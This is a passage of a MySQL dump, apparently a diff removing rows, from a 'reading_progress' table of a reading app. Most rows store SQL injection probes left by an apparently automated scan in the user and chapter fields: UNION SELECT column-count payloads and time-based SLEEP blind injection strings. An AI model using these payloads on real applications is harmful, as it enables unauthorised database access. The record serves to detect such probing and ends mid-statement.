'2026-02-11 12:34:27', '2026-02-11 12:34:27'); -INSERT INTO `reading_progress` VALUES (24, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '1.1', 0, 9949, 'reading', NULL, '2026-02-11 12:34:34', '2026-03-07 16:20:34', '2026-02-11 12:34:34', '2026-03-07 16:20:34'); -INSERT INTO `reading_progress` VALUES (25, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '1.1', 0, 1044889, 'reading', NULL, '2026-02-11 13:33:20', '2026-03-10 13:03:14', '2026-02-11 13:33:20', '2026-03-10 13:03:14'); -INSERT INTO `reading_progress` VALUES (26, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'preface', 0, 15, 'reading', NULL, '2026-02-11 13:33:26', '2026-03-10 10:27:12', '2026-02-11 13:33:26', '2026-03-10 10:27:12'); -INSERT INTO `reading_progress` VALUES (27, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'epilogue', 0, 34, 'reading', NULL, '2026-02-11 13:34:00', '2026-02-13 06:38:20', '2026-02-11 13:34:00', '2026-02-13 06:38:20'); -INSERT INTO `reading_progress` VALUES (28, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'appendix-1', 0, 4, 'reading', NULL, '2026-02-11 13:37:24', '2026-02-24 02:12:16', '2026-02-11 13:37:24', '2026-02-24 02:12:16'); -INSERT INTO `reading_progress` VALUES (29, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '1.1', 0, 14493, 'reading', NULL, '2026-02-12 02:29:26', '2026-03-10 07:02:30', '2026-02-12 02:29:26', '2026-03-10 07:02:30'); -INSERT INTO `reading_progress` VALUES (30, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '1.1', 0, 437, 'reading', NULL, '2026-02-12 08:13:23', '2026-03-02 22:53:48', '2026-02-12 08:13:23', '2026-03-02 22:53:48'); -INSERT INTO `reading_progress` VALUES (31, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '11.2', 0, 1637, 'reading', NULL, '2026-02-12 08:32:28', '2026-02-12 08:36:46', '2026-02-12 08:32:28', '2026-02-12 08:36:46'); -INSERT INTO `reading_progress` VALUES (32, 'user_1769852174170', '1.1', 0, 2, 'reading', NULL, '2026-02-12 08:43:25', '2026-02-12 08:43:25', '2026-02-12 08:43:25', '2026-02-12 08:43:25'); -INSERT INTO `reading_progress` VALUES (33, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1', 0, 4905, 'reading', '0000-00-00 00:00:00', '2026-02-12 09:37:39', '2026-02-12 10:00:32', '2026-02-12 09:37:39', '2026-02-12 10:00:32'); -INSERT INTO `reading_progress` VALUES (34, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\' union select 1-', 0, 9, 'reading', NULL, '2026-02-12 09:53:22', '2026-02-12 09:53:22', '2026-02-12 09:53:22', '2026-02-12 09:53:22'); -INSERT INTO `reading_progress` VALUES (35, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\' union select 1,', 0, 9, 'reading', NULL, '2026-02-12 09:53:22', '2026-02-12 09:53:22', '2026-02-12 09:53:22', '2026-02-12 09:53:22'); -INSERT INTO `reading_progress` VALUES (44, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\' union select 1-- ', 0, 27, 'reading', NULL, '2026-02-12 09:53:23', '2026-02-12 09:58:18', '2026-02-12 09:53:23', '2026-02-12 09:58:18'); -INSERT INTO `reading_progress` VALUES (45, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\' union select 1,2--', 0, 27, 'reading', NULL, '2026-02-12 09:53:29', '2026-02-12 09:58:29', '2026-02-12 09:53:29', '2026-02-12 09:58:29'); -INSERT INTO `reading_progress` VALUES (46, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\' union select 1-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:30', '2026-02-12 09:58:19', '2026-02-12 09:53:30', '2026-02-12 09:58:19'); -INSERT INTO `reading_progress` VALUES (47, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\' union select 1,2-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:30', '2026-02-12 09:58:19', '2026-02-12 09:53:30', '2026-02-12 09:58:19'); -INSERT INTO `reading_progress` VALUES (48, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\' union select 1,2,3--', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:30', '2026-02-12 09:58:31', '2026-02-12 09:53:30', '2026-02-12 09:58:31'); -INSERT INTO `reading_progress` VALUES (49, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\' union select 1,2,3,4', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:53:30', '2026-02-12 09:53:30', '2026-02-12 09:53:30', '2026-02-12 09:53:30'); -INSERT INTO `reading_progress` VALUES (50, '\' union select 1-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:31', '2026-02-12 09:58:18', '2026-02-12 09:53:31', '2026-02-12 09:58:18'); -INSERT INTO `reading_progress` VALUES (51, '\' union select 1,2-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:31', '2026-02-12 09:58:18', '2026-02-12 09:53:31', '2026-02-12 09:58:18'); -INSERT INTO `reading_progress` VALUES (52, '\' union select 1,2,3-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:31', '2026-02-12 09:58:25', '2026-02-12 09:53:31', '2026-02-12 09:58:25'); -INSERT INTO `reading_progress` VALUES (53, '\' union select 1,2,3,4-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:31', '2026-02-12 09:58:25', '2026-02-12 09:53:31', '2026-02-12 09:58:25'); -INSERT INTO `reading_progress` VALUES (54, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1 union select 1--', 0, 27, 'reading', NULL, '2026-02-12 09:53:33', '2026-02-12 09:58:20', '2026-02-12 09:53:34', '2026-02-12 09:58:20'); -INSERT INTO `reading_progress` VALUES (55, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1 union select 1,2', 0, 9, 'reading', NULL, '2026-02-12 09:53:34', '2026-02-12 09:53:34', '2026-02-12 09:53:34', '2026-02-12 09:53:34'); -INSERT INTO `reading_progress` VALUES (61, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', ' union select 1-- ', 0, 27, 'reading', NULL, '2026-02-12 09:53:35', '2026-02-12 09:58:21', '2026-02-12 09:53:35', '2026-02-12 09:58:21'); -INSERT INTO `reading_progress` VALUES (62, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', ' union select 1,2-- ', 0, 27, 'reading', NULL, '2026-02-12 09:53:35', '2026-02-12 09:58:21', '2026-02-12 09:53:35', '2026-02-12 09:58:21'); -INSERT INTO `reading_progress` VALUES (63, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', ' union select 1,2,3-', 0, 9, 'reading', NULL, '2026-02-12 09:53:35', '2026-02-12 09:53:35', '2026-02-12 09:53:35', '2026-02-12 09:53:35'); -INSERT INTO `reading_progress` VALUES (64, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', ' union select 1,2,3,', 0, 9, 'reading', NULL, '2026-02-12 09:53:35', '2026-02-12 09:53:35', '2026-02-12 09:53:35', '2026-02-12 09:53:35'); -INSERT INTO `reading_progress` VALUES (69, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\' union select 1,2,3', 0, 9, 'reading', NULL, '2026-02-12 09:53:40', '2026-02-12 09:53:40', '2026-02-12 09:53:40', '2026-02-12 09:53:40'); -INSERT INTO `reading_progress` VALUES (72, '\' union select 1,2,3,4,5-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:41', '2026-02-12 09:58:37', '2026-02-12 09:53:41', '2026-02-12 09:58:37'); -INSERT INTO `reading_progress` VALUES (78, '\' union select 1,2,3,4,5,6-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:46', '2026-02-12 09:58:45', '2026-02-12 09:53:46', '2026-02-12 09:58:45'); -INSERT INTO `reading_progress` VALUES (79, '\' union select 1,2,3,4,5,6,7-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:46', '2026-02-12 09:58:45', '2026-02-12 09:53:46', '2026-02-12 09:58:45'); -INSERT INTO `reading_progress` VALUES (80, '\' union select 1,2,3,4,5,6,7,8-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:47', '2026-02-12 09:58:45', '2026-02-12 09:53:47', '2026-02-12 09:58:45'); -INSERT INTO `reading_progress` VALUES (83, '\' union select 1,2,3,4,5,6,7,8,9-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:47', '2026-02-12 09:58:45', '2026-02-12 09:53:47', '2026-02-12 09:58:45'); -INSERT INTO `reading_progress` VALUES (90, '\' union select 1,2,3,4,5,6,7,8,9,10-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:50', '2026-02-12 09:58:45', '2026-02-12 09:53:50', '2026-02-12 09:58:45'); -INSERT INTO `reading_progress` VALUES (91, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\" union select 1-', 0, 9, 'reading', NULL, '2026-02-12 09:53:53', '2026-02-12 09:53:53', '2026-02-12 09:53:53', '2026-02-12 09:53:53'); -INSERT INTO `reading_progress` VALUES (92, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\" union select 1,', 0, 9, 'reading', NULL, '2026-02-12 09:53:53', '2026-02-12 09:53:53', '2026-02-12 09:53:53', '2026-02-12 09:53:53'); -INSERT INTO `reading_progress` VALUES (95, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\" union select 1-- ', 0, 27, 'reading', NULL, '2026-02-12 09:53:54', '2026-02-12 09:58:40', '2026-02-12 09:53:54', '2026-02-12 09:58:40'); -INSERT INTO `reading_progress` VALUES (96, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\" union select 1,2--', 0, 27, 'reading', NULL, '2026-02-12 09:53:54', '2026-02-12 09:58:40', '2026-02-12 09:53:54', '2026-02-12 09:58:40'); -INSERT INTO `reading_progress` VALUES (97, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\" union select 1,2,3', 0, 9, 'reading', NULL, '2026-02-12 09:53:54', '2026-02-12 09:53:54', '2026-02-12 09:53:54', '2026-02-12 09:53:54'); -INSERT INTO `reading_progress` VALUES (114, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\" union select 1-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:27', '2026-02-12 09:58:52', '2026-02-12 09:54:27', '2026-02-12 09:58:52'); -INSERT INTO `reading_progress` VALUES (115, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\" union select 1,2-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:27', '2026-02-12 09:58:52', '2026-02-12 09:54:27', '2026-02-12 09:58:52'); -INSERT INTO `reading_progress` VALUES (116, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\" union select 1,2,3--', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:27', '2026-02-12 09:58:52', '2026-02-12 09:54:27', '2026-02-12 09:58:52'); -INSERT INTO `reading_progress` VALUES (117, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\" union select 1,2,3,4', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:27', '2026-02-12 09:54:27', '2026-02-12 09:54:27', '2026-02-12 09:54:27'); -INSERT INTO `reading_progress` VALUES (124, '\" union select 1-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:27', '2026-02-12 09:58:53', '2026-02-12 09:54:27', '2026-02-12 09:58:53'); -INSERT INTO `reading_progress` VALUES (125, '\" union select 1,2-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:27', '2026-02-12 09:58:53', '2026-02-12 09:54:27', '2026-02-12 09:58:53'); -INSERT INTO `reading_progress` VALUES (126, '\" union select 1,2,3-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:27', '2026-02-12 09:58:53', '2026-02-12 09:54:27', '2026-02-12 09:58:53'); -INSERT INTO `reading_progress` VALUES (127, '\" union select 1,2,3,4-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:27', '2026-02-12 09:58:53', '2026-02-12 09:54:27', '2026-02-12 09:58:53'); -INSERT INTO `reading_progress` VALUES (128, '\" union select 1,2,3,4,5-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:27', '2026-02-12 09:59:03', '2026-02-12 09:54:27', '2026-02-12 09:59:03'); -INSERT INTO `reading_progress` VALUES (129, '\" union select 1,2,3,4,5,6-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:28', '2026-02-12 09:59:03', '2026-02-12 09:54:28', '2026-02-12 09:59:03'); -INSERT INTO `reading_progress` VALUES (130, '\" union select 1,2,3,4,5,6,7-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:28', '2026-02-12 09:59:34', '2026-02-12 09:54:28', '2026-02-12 09:59:34'); -INSERT INTO `reading_progress` VALUES (131, '\" union select 1,2,3,4,5,6,7,8-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:28', '2026-02-12 09:59:34', '2026-02-12 09:54:28', '2026-02-12 09:59:34'); -INSERT INTO `reading_progress` VALUES (132, '\" union select 1,2,3,4,5,6,7,8,9-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:28', '2026-02-12 10:00:05', '2026-02-12 09:54:28', '2026-02-12 10:00:05'); -INSERT INTO `reading_progress` VALUES (133, '\" union select 1,2,3,4,5,6,7,8,9,10-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:54:28', '2026-02-12 10:00:05', '2026-02-12 09:54:28', '2026-02-12 10:00:05'); -INSERT INTO `reading_progress` VALUES (134, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\") OR (SELECT*FRO', 0, 9, 'reading', NULL, '2026-02-12 09:54:37', '2026-02-12 09:54:37', '2026-02-12 09:54:37', '2026-02-12 09:54:37'); -INSERT INTO `reading_progress` VALUES (135, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\") OR (SELECT*FROM(S', 0, 9, 'reading', NULL, '2026-02-12 09:54:37', '2026-02-12 09:54:37', '2026-02-12 09:54:37', '2026-02-12 09:54:37'); -INSERT INTO `reading_progress` VALUES (136, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\") OR (SELECT*FROM(SEL', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:37', '2026-02-12 09:54:37', '2026-02-12 09:54:37', '2026-02-12 09:54:37'); -INSERT INTO `reading_progress` VALUES (137, '\") OR (SELECT*FROM(SELECT(SLEEP(4)))ummq) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:37', '2026-02-12 09:54:37', '2026-02-12 09:54:37', '2026-02-12 09:54:37'); -INSERT INTO `reading_progress` VALUES (138, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\")) OR (SELECT*FR', 0, 9, 'reading', NULL, '2026-02-12 09:54:38', '2026-02-12 09:54:38', '2026-02-12 09:54:38', '2026-02-12 09:54:38'); -INSERT INTO `reading_progress` VALUES (139, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\")) OR (SELECT*FROM(', 0, 9, 'reading', NULL, '2026-02-12 09:54:38', '2026-02-12 09:54:38', '2026-02-12 09:54:38', '2026-02-12 09:54:38'); -INSERT INTO `reading_progress` VALUES (140, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\")) OR (SELECT*FROM(SE', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:43', '2026-02-12 09:54:43', '2026-02-12 09:54:43', '2026-02-12 09:54:43'); -INSERT INTO `reading_progress` VALUES (141, '\")) OR (SELECT*FROM(SELECT(SLEEP(3)))jvfg) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:43', '2026-02-12 09:54:43', '2026-02-12 09:54:43', '2026-02-12 09:54:43'); -INSERT INTO `reading_progress` VALUES (142, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\" OR (SELECT*FROM', 0, 9, 'reading', NULL, '2026-02-12 09:54:43', '2026-02-12 09:54:43', '2026-02-12 09:54:43', '2026-02-12 09:54:43'); -INSERT INTO `reading_progress` VALUES (143, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\" OR (SELECT*FROM(SE', 0, 9, 'reading', NULL, '2026-02-12 09:54:43', '2026-02-12 09:54:43', '2026-02-12 09:54:43', '2026-02-12 09:54:43'); -INSERT INTO `reading_progress` VALUES (144, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\" OR (SELECT*FROM(SELE', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:45', '2026-02-12 09:54:45', '2026-02-12 09:54:45', '2026-02-12 09:54:45'); -INSERT INTO `reading_progress` VALUES (145, '\" OR (SELECT*FROM(SELECT(SLEEP(2)))ayuv) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:45', '2026-02-12 09:54:45', '2026-02-12 09:54:45', '2026-02-12 09:54:45'); -INSERT INTO `reading_progress` VALUES (146, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\')) OR (SELECT*FR', 0, 9, 'reading', NULL, '2026-02-12 09:54:45', '2026-02-12 09:54:45', '2026-02-12 09:54:45', '2026-02-12 09:54:45'); -INSERT INTO `reading_progress` VALUES (147, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\')) OR (SELECT*FROM(', 0, 9, 'reading', NULL, '2026-02-12 09:54:45', '2026-02-12 09:54:45', '2026-02-12 09:54:45', '2026-02-12 09:54:45'); -INSERT INTO `reading_progress` VALUES (148, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\')) OR (SELECT*FROM(SE', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:46', '2026-02-12 09:54:46', '2026-02-12 09:54:46', '2026-02-12 09:54:46'); -INSERT INTO `reading_progress` VALUES (149, '\')) OR (SELECT*FROM(SELECT(SLEEP(4)))ielq) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:47', '2026-02-12 09:54:47', '2026-02-12 09:54:47', '2026-02-12 09:54:47'); -INSERT INTO `reading_progress` VALUES (150, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\' OR (SELECT*FROM', 0, 9, 'reading', NULL, '2026-02-12 09:54:47', '2026-02-12 09:54:47', '2026-02-12 09:54:47', '2026-02-12 09:54:47'); -INSERT INTO `reading_progress` VALUES (151, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\' OR (SELECT*FROM(SE', 0, 9, 'reading', NULL, '2026-02-12 09:54:47', '2026-02-12 09:54:47', '2026-02-12 09:54:47', '2026-02-12 09:54:47'); -INSERT INTO `reading_progress` VALUES (152, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\' OR (SELECT*FROM(SELE', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:49', '2026-02-12 09:54:49', '2026-02-12 09:54:49', '2026-02-12 09:54:49'); -INSERT INTO `reading_progress` VALUES (153, '\' OR (SELECT*FROM(SELECT(SLEEP(4)))lknf) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:49', '2026-02-12 09:54:49', '2026-02-12 09:54:49', '2026-02-12 09:54:49'); -INSERT INTO `reading_progress` VALUES (154, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\') OR (SELECT*FRO', 0, 9, 'reading', NULL, '2026-02-12 09:54:49', '2026-02-12 09:54:49', '2026-02-12 09:54:49', '2026-02-12 09:54:49'); -INSERT INTO `reading_progress` VALUES (155, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\') OR (SELECT*FROM(S', 0, 9, 'reading', NULL, '2026-02-12 09:54:54', '2026-02-12 09:54:54', '2026-02-12 09:54:54', '2026-02-12 09:54:54'); -INSERT INTO `reading_progress` VALUES (156, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\') OR (SELECT*FROM(SEL', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:54', '2026-02-12 09:54:54', '2026-02-12 09:54:54', '2026-02-12 09:54:54'); -INSERT INTO `reading_progress` VALUES (157, '\') OR (SELECT*FROM(SELECT(SLEEP(3)))cifh) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:54:54', '2026-02-12 09:54:54', '2026-02-12 09:54:54', '2026-02-12 09:54:54'); -INSERT INTO `reading_progress` VALUES (158, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1 OR (SELECT*FROM(', 0, 9, 'reading', NULL, '2026-02-12 09:54:55', '2026-02-12 09:54:55', '2026-02-12 09:54:56', '2026-02-12 09:54:56'); -INSERT INTO `reading_progress` VALUES (159, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', ' OR (SELECT*FROM(SEL', 0, 9, 'reading', NULL, '2026-02-12 09:54:56', '2026-02-12 09:54:56', '2026-02-12 09:54:56', '2026-02-12 09:54:56'); -INSERT INTO `reading_progress` VALUES (160, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1)) OR (SELECT*FRO', 0, 9, 'reading', NULL, '2026-02-12 09:54:58', '2026-02-12 09:54:58', '2026-02-12 09:54:58', '2026-02-12 09:54:58'); -INSERT INTO `reading_progress` VALUES (161, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', ')) OR (SELECT*FROM(S', 0, 9, 'reading', NULL, '2026-02-12 09:54:58', '2026-02-12 09:54:58', '2026-02-12 09:54:58', '2026-02-12 09:54:58'); -INSERT INTO `reading_progress` VALUES (162, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1) OR (SELECT*FROM', 0, 9, 'reading', NULL, '2026-02-12 09:54:58', '2026-02-12 09:54:58', '2026-02-12 09:54:58', '2026-02-12 09:54:58'); -INSERT INTO `reading_progress` VALUES (163, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', ') OR (SELECT*FROM(SE', 0, 9, 'reading', NULL, '2026-02-12 09:54:58', '2026-02-12 09:54:58', '2026-02-12 09:54:58', '2026-02-12 09:54:58'); -INSERT INTO `reading_progress` VALUES (164, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\")) AND (SELECT*F', 0, 9, 'reading', NULL, '2026-02-12 09:55:00', '2026-02-12 09:55:00', '2026-02-12 09:55:00', '2026-02-12 09:55:00'); -INSERT INTO `reading_progress` VALUES (165, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\")) AND (SELECT*FROM', 0, 9, 'reading', NULL, '2026-02-12 09:55:00', '2026-02-12 09:55:00', '2026-02-12 09:55:00', '2026-02-12 09:55:00'); -INSERT INTO `reading_progress` VALUES (166, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\")) AND (SELECT*FROM(S', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:05', '2026-02-12 09:55:05', '2026-02-12 09:55:05', '2026-02-12 09:55:05'); -INSERT INTO `reading_progress` VALUES (167, '\")) AND (SELECT*FROM(SELECT(SLEEP(3)))hwhp) limit ', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:05', '2026-02-12 09:55:05', '2026-02-12 09:55:05', '2026-02-12 09:55:05'); -INSERT INTO `reading_progress` VALUES (168, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\" AND (SELECT*FRO', 0, 9, 'reading', NULL, '2026-02-12 09:55:05', '2026-02-12 09:55:05', '2026-02-12 09:55:05', '2026-02-12 09:55:05'); -INSERT INTO `reading_progress` VALUES (169, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\" AND (SELECT*FROM(S', 0, 9, 'reading', NULL, '2026-02-12 09:55:05', '2026-02-12 09:55:05', '2026-02-12 09:55:05', '2026-02-12 09:55:05'); -INSERT INTO `reading_progress` VALUES (170, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\" AND (SELECT*FROM(SEL', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:07', '2026-02-12 09:55:07', '2026-02-12 09:55:07', '2026-02-12 09:55:07'); -INSERT INTO `reading_progress` VALUES (171, '\" AND (SELECT*FROM(SELECT(SLEEP(3)))xiyp) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:07', '2026-02-12 09:55:07', '2026-02-12 09:55:07', '2026-02-12 09:55:07'); -INSERT INTO `reading_progress` VALUES (172, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\')) AND (SELECT*F', 0, 9, 'reading', NULL, '2026-02-12 09:55:07', '2026-02-12 09:55:07', '2026-02-12 09:55:07', '2026-02-12 09:55:07'); -INSERT INTO `reading_progress` VALUES (173, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\')) AND (SELECT*FROM', 0, 9, 'reading', NULL, '2026-02-12 09:55:08', '2026-02-12 09:55:08', '2026-02-12 09:55:08', '2026-02-12 09:55:08'); -INSERT INTO `reading_progress` VALUES (174, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\')) AND (SELECT*FROM(S', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:09', '2026-02-12 09:55:09', '2026-02-12 09:55:09', '2026-02-12 09:55:09'); -INSERT INTO `reading_progress` VALUES (175, '\')) AND (SELECT*FROM(SELECT(SLEEP(4)))ilbr) limit ', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:09', '2026-02-12 09:55:09', '2026-02-12 09:55:09', '2026-02-12 09:55:09'); -INSERT INTO `reading_progress` VALUES (176, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\") AND (SELECT*FR', 0, 9, 'reading', NULL, '2026-02-12 09:55:09', '2026-02-12 09:55:09', '2026-02-12 09:55:09', '2026-02-12 09:55:09'); -INSERT INTO `reading_progress` VALUES (177, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\") AND (SELECT*FROM(', 0, 9, 'reading', NULL, '2026-02-12 09:55:14', '2026-02-12 09:55:14', '2026-02-12 09:55:14', '2026-02-12 09:55:14'); -INSERT INTO `reading_progress` VALUES (178, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\") AND (SELECT*FROM(SE', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:14', '2026-02-12 09:55:14', '2026-02-12 09:55:14', '2026-02-12 09:55:14'); -INSERT INTO `reading_progress` VALUES (179, '\") AND (SELECT*FROM(SELECT(SLEEP(3)))pxfo) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:14', '2026-02-12 09:55:14', '2026-02-12 09:55:14', '2026-02-12 09:55:14'); -INSERT INTO `reading_progress` VALUES (180, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\' AND (SELECT*FRO', 0, 9, 'reading', NULL, '2026-02-12 09:55:16', '2026-02-12 09:55:16', '2026-02-12 09:55:16', '2026-02-12 09:55:16'); -INSERT INTO `reading_progress` VALUES (181, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\' AND (SELECT*FROM(S', 0, 9, 'reading', NULL, '2026-02-12 09:55:16', '2026-02-12 09:55:16', '2026-02-12 09:55:16', '2026-02-12 09:55:16'); -INSERT INTO `reading_progress` VALUES (182, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\' AND (SELECT*FROM(SEL', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:17', '2026-02-12 09:55:17', '2026-02-12 09:55:17', '2026-02-12 09:55:17'); -INSERT INTO `reading_progress` VALUES (183, '\' AND (SELECT*FROM(SELECT(SLEEP(3)))jckn) limit 1#', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:17', '2026-02-12 09:55:17', '2026-02-12 09:55:17', '2026-02-12 09:55:17'); -INSERT INTO `reading_progress` VALUES (184, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\') AND (SELECT*FR', 0, 9, 'reading', NULL, '2026-02-12 09:55:17', '2026-02-12 09:55:17', '2026-02-12 09:55:17', '2026-02-12 09:55:17'); -INSERT INTO `reading_progress` VALUES (185, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\') AND (SELECT*FROM(', 0, 9, 'reading', NULL, '2026-02-12 09:55:17', '2026-02-12 09:55:17', '2026-02-12 09:55:17', '2026-02-12 09:55:17'); -INSERT INTO `reading_progress` VALUES (186, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\') AND (SELECT*FROM(SE', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:18', '2026-02-12 09:55:18', '2026-02-12 09:55:18', '2026-02-12 09:55:18'); -INSERT INTO `reading_progress` VALUES (187, '\') AND (SELECT*FROM(SELECT(SLEEP(4)))aipu) limit 1', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:19', '2026-02-12 09:55:19', '2026-02-12 09:55:19', '2026-02-12 09:55:19'); -INSERT INTO `reading_progress` VALUES (188, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1 AND (SELECT*FROM', 0, 9, 'reading', NULL, '2026-02-12 09:55:19', '2026-02-12 09:55:19', '2026-02-12 09:55:19', '2026-02-12 09:55:19'); -INSERT INTO `reading_progress` VALUES (189, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', ' AND (SELECT*FROM(SE', 0, 9, 'reading', NULL, '2026-02-12 09:55:19', '2026-02-12 09:55:19', '2026-02-12 09:55:19', '2026-02-12 09:55:19'); -INSERT INTO `reading_progress` VALUES (194, 'ogpTW5dBNnNpqttcxUbMBlG75Q38 AND (SELECT*FROM(SELE', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:55:22', '2026-02-12 09:55:22', '2026-02-12 09:55:22', '2026-02-12 09:55:22'); -INSERT INTO 